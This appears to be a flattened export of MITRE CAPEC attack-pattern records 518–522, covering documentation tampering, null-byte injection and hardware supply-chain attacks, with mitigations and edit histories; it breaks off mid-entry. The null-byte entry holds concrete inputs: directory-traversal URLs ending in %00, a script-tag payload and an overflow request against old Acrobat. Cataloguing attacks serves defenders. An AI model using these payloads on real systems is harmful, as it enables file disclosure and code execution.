#indContentHistoryContentHistory28713 + Content_History_28713 + + + + + + + + + + + + + + + + #indSubmissionSubmission28714 + Submission_28714 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28719 + Modification_28719 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification28725 + Modification_28725 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28731 + Modification_28731 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #CAPEC-518 + Documentation Alteration to Produce Under-performing Systems + + + + + + + + + 518 + + + + + Documentation Alteration to Produce Under-performing Systems + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to a manufacturer's documentation alters the descriptions of system capabilities with the intent of causing errors in derived system requirements, impacting the overall effectiveness and capability of the system, allowing an attacker to take advantage of the introduced system capability flaw once the system is deployed.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28746 + Related_Attack_Pattern_28746 + + + + + + + + + + + + + + 447 + + + + + 513 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge of software and hardware capabilities of a manufacturer's product.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the manufacturer's documentation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28756 + Skill_28756 + + + + + + + + + + + + + + Ability to read, interpret, and subsequently alter manufacturer's documentation to misrepresent system capabilities. + + + + + + + + + + + + #indSkillSkill28757 + Skill_28757 + + + + + + + + + + + + + + Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Digitize documents and cryptographically sign them to verify authenticity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Password protect documents and make them read-only for unauthorized users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid emailing important documents and configurations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure deleted files are actually deleted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain backups of the document for recovery and verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Separate need-to-know information from system configuration information depending on the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A security subsystem involving encryption is a part of a product, but due to the demands of this subsystem during operation, the subsystem only runs when a specific amount of memory and processing is available. An attacker alters the descriptions of the system capabilities so that when deployed with the minimal requirements at the victim location, the encryption subsystem is never operational, leaving the system in a weakened security state.</xhtml:div> + + + + + + + + + + + + #indReferenceReference28771 + Reference_28771 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference28772 + Reference_28772 + + + + + + + + + REF-715 + + + + + + + + + + + + #indContentHistoryContentHistory28774 + Content_History_28774 + + + + + + + + + + + + + + + + #indSubmissionSubmission28775 + Submission_28775 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28780 + Modification_28780 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification28786 + Modification_28786 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28792 + Modification_28792 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #CAPEC-519 + Documentation Alteration to Cause Errors in System Design + + + + + + + + + 519 + + + + + Documentation Alteration to Cause Errors in System Design + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to a manufacturer's documentation containing requirements allocation and software design processes maliciously alters the documentation in order to cause errors in system design. This allows the attacker to take advantage of a weakness in a deployed system of the manufacturer for malicious purposes.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28807 + Related_Attack_Pattern_28807 + + + + + + + + + + + + + + 447 + + + + + 513 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge of software capabilities of a manufacturer's product.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the manufacturer's documentation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28817 + Skill_28817 + + + + + + + + + + + + + + Ability to read, interpret, and subsequently alter manufacturer's documentation to cause errors in system design. + + + + + + + + + + + + #indSkillSkill28818 + Skill_28818 + + + + + + + + + + + + + + Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Digitize documents and cryptographically sign them to verify authenticity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Password protect documents and make them read-only for unauthorized users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid emailing important documents and configurations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure deleted files are actually deleted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain multiple instances of the document across different privileged users for recovery and verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">During operation, a firewall will restart various subsystems to reload and implement new rules as added by the user. An attacker alters the software design dependencies in the manufacturer's documentation so that under certain predictable conditions the reload will fail to load in rules resulting in a "fail open" state. Once deployed at a victim site, this will allow the attacker to bypass the victim's firewall.</xhtml:div> + + + + + + + + + + + + #indReferenceReference28831 + Reference_28831 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference28832 + Reference_28832 + + + + + + + + + REF-715 + + + + + + + + + + + + #indContentHistoryContentHistory28834 + Content_History_28834 + + + + + + + + + + + + + + + + #indSubmissionSubmission28835 + Submission_28835 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28840 + Modification_28840 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification28846 + Modification_28846 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28852 + Modification_28852 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #CAPEC-52 + Embedding NULL Bytes + + + + + + + + + 52 + + + + + Embedding NULL Bytes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28865 + Related_Attack_Pattern_28865 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep28868 + Attack_Step_28868 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28877 + Attack_Step_28877 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects postfix null byte(s) to observe how the application handles them as input. The adversary is looking for areas where user input is placed in the middle of a string, and the null byte causes the application to stop processing the string at the end of the user input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try different encodings for null such as \\0 or %00</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28883 + Attack_Step_28883 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Remove data after null byte(s)] After determined entry points that are vulnerable, the adversary places a null byte(s) such that they remove data after the null byte(s) in a way that is beneficial to them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the input is a directory as part of a longer file path, add a null byte(s) at the end of the input to try to traverse to the given directory.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The program does not properly handle postfix NULL terminators</xhtml:div> + + + + + + + + + + + + #indSkillSkill28894 + Skill_28894 + + + + + + + + + + + + + + Directory traversal + + + + + + + + + + + + #indSkillSkill28895 + Skill_28895 + + + + + + + + + + + + + + Execution of arbitrary code + + + + + + + + + + + + #indConsequenceConsequence28898 + Consequence_28898 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence28902 + Consequence_28902 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence28906 + Consequence_28906 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence28912 + Consequence_28912 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly handle the NULL characters supplied as part of user input prior to doing anything with the data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Directory Browsing&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an adversary could insert a bogus username such as ../../../../../WINDOWS. If the adversary needs to remove the trailing string /reports, then they can simply insert enough characters so the string is truncated. Alternatively the adversary might apply the postfix NULL character (%00) to determine whether this terminates the string.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Different forms of NULL to think about include&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;PATH%00&lt;xhtml:br&gt;&lt;/xhtml:br&gt;PATH[0x00]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;PATH[alternate representation of NULL character]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;%00&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote adversaries to execute arbitrary code.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The problem specifically exists upon retrieving a link of the following form:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a "file not found" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an adversary to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;0x77F83AE5 MOV EAX,[EDI+8]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;0x77F83AE8 MOV ECX,[EDI+C]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;...&lt;xhtml:br&gt;&lt;/xhtml:br&gt;0x77F83AED MOV [ECX],EAX&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The register EDI contains a pointer to a user-supplied string. The adversary therefore has control over both the ECX and EAX registers used in the shown MOV instruction.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Successful exploitation allows remote adversaries to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [REF-445].&lt;/xhtml:p&gt;See also: CVE-2004-0629</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Consider the following PHP script:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;$whatever = addslashes($_REQUEST['whatever']);&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include("/path/to/program/" . $whatever . "/header.htm");&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A malicious adversary might open the following URL, disclosing the boot.ini file:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://localhost/phpscript.php?whatever=../../../../boot.ini%00&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 158 + + + + + 172 + + + + + 173 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indTaxonomyMappingNullByteInjection + Null Byte Injection + + + + + + + + + + + + + + 28 + + + + + Null Byte Injection + + + + + + + + + + + + #indTaxonomyMappingEmbeddingNullCode + Embedding Null Code + + + + + + + + + + + + + + Embedding Null Code + + + + + + + + + + + + #indReferenceReference28966 + Reference_28966 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference28967 + Reference_28967 + + + + + + + + + REF-445 + + + + + + + + + + + + #indReferenceReference28968 + Reference_28968 + + + + + + + + + REF-446 + + + + + + + + + + + + #indContentHistoryContentHistory28970 + Content_History_28970 + + + + + + + + + + + + + + + + #indSubmissionSubmission28971 + Submission_28971 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28976 + Modification_28976 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28982 + Modification_28982 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification28988 + Modification_28988 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification28994 + Modification_28994 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification29000 + Modification_29000 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification29006 + Modification_29006 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-520 + Counterfeit Hardware Component Inserted During Product Assembly + + + + + + + + + 520 + + + + + Counterfeit Hardware Component Inserted During Product Assembly + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with either direct access to the product assembly process or to the supply of subcomponents used in the product assembly process introduces counterfeit hardware components into product assembly. The assembly containing the counterfeit components results in a system specifically designed for malicious purposes.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29021 + Related_Attack_Pattern_29021 + + + + + + + + + + + + + + 444 + + + + + 513 + + + + + 515 + + + + + 688 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary will need either physical access or be able to supply malicious hardware components to the product development facility.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29031 + Skill_29031 + + + + + + + + + + + + + + Resources to maliciously construct components used by the manufacturer. + + + + + + + + + + + + #indSkillSkill29032 + Skill_29032 + + + + + + + + + + + + + + Resources to physically infiltrate manufacturer or manufacturer's supplier. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hardware attacks are often difficult to detect, as inserted components can be difficult to identify or remain dormant for an extended period of time.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Acquire hardware and hardware components from trusted vendors. Additionally, determine where vendors purchase components or if any components are created/acquired via subcontractors to determine where supply chain risks may exist.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A manufacturer of a firewall system requires a hardware card which functions as a multi-jack ethernet card with four ethernet ports. The adversary constructs a counterfeit card that functions normally except that packets from the adversary's network are allowed to bypass firewall processing completely. Once deployed at a victim location, this allows the adversary to bypass the firewall unrestricted.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In 2018 it was discovered that Chinese spies infiltrated several U.S. government agencies and corporations as far back as 2015 by including a malicious microchip within the motherboard of servers sold by Elemental Technologies to the victims. Although these servers were assembled via a U.S. based company, the motherboards used within the servers were manufactured and maliciously altered via a Chinese subcontractor. Elemental Technologies then sold these malicious servers to various U.S. government agencies, such as the DoD and CIA, and corporations like Amazon and Apple. The malicious microchip provided adversaries with a backdoor into the system, which further allowed them to access any network that contained the exploited systems, to exfiltrate data to be sent to the Chinese government.[REF-713]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference29053 + Reference_29053 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29054 + Reference_29054 + + + + + + + + + REF-712 + + + + + + + + + + + + #indReferenceReference29055 + Reference_29055 + + + + + + + + + REF-713 + + + + + + + + + + + + #indContentHistoryContentHistory29057 + Content_History_29057 + + + + + + + + + + + + + + + + #indSubmissionSubmission29058 + Submission_29058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29063 + Modification_29063 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29069 + Modification_29069 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29075 + Modification_29075 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29081 + Modification_29081 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Mitigations, Prerequisites, References + + + + + + + + + + + + #indModificationModification29087 + Modification_29087 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-521 + Hardware Design Specifications Are Altered + + + + + + + + + 521 + + + + + Hardware Design Specifications Are Altered + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to a manufacturer's hardware manufacturing process documentation alters the design specifications, which introduces flaws advantageous to the attacker once the system is deployed.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29102 + Related_Attack_Pattern_29102 + + + + + + + + + + + + + + 447 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge of hardware capabilities of a manufacturer's product.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the manufacturer's documentation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29109 + Skill_29109 + + + + + + + + + + + + + + Ability to read, interpret, and subsequently alter manufacturer's documentation to cause errors in design specifications. + + + + + + + + + + + + #indSkillSkill29110 + Skill_29110 + + + + + + + + + + + + + + Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Digitize documents and cryptographically sign them to verify authenticity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Password protect documents and make them read-only for unauthorized users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid emailing important documents and configurations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure deleted files are actually deleted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain backups of the document for recovery and verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Separate need-to-know information from system configuration information depending on the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To operate at full capability, a manufacturer's network intrusion detection device needs to have either a Intel Xeon E7-2820 or AMD FX-8350 which have 8 "cores" available, allowing for advanced threading needed to handle large volumes of network traffic without resorting to dropping packets from the detection process. The attacker alters the documentation to state that the system design must use the Intel Core Duo or the AMD Phenom II X2, which only have 2 cores, causing the system to drop large amounts of packets during deployment at a victim site with large amounts of network traffic.</xhtml:div> + + + + + + + + + + + + #indReferenceReference29124 + Reference_29124 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29125 + Reference_29125 + + + + + + + + + REF-715 + + + + + + + + + + + + #indContentHistoryContentHistory29127 + Content_History_29127 + + + + + + + + + + + + + + + + #indSubmissionSubmission29128 + Submission_29128 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29133 + Modification_29133 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29139 + Modification_29139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #CAPEC-522 + Malicious Hardware Component Replacement + + + + + + + + + 522 + + + + + Malicious Hardware Component Replacement + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary replaces legitimate hardware in the system with faulty counterfeit or tampered hardware in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29153 + Related_Attack_Pattern_29153 + + + + + + + + + + + + + + 439 + + + + + + + + + + + + #indAttackStepAttackStep29156 + Attack_Step_29156 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Target Hardware] The adversary must first identify a system that they wish to target, and a specific hardware component that they can swap out with a malicious replacement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for datasheets containing the system schematics that can help identify possible target hardware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Procure a system and inspect it manually, looking for possible hardware component targets. Search for manufacturer IDs on hardware chips or FCC IDs on wireless chips to determine their functionality.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29163 + Attack_Step_29163 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div 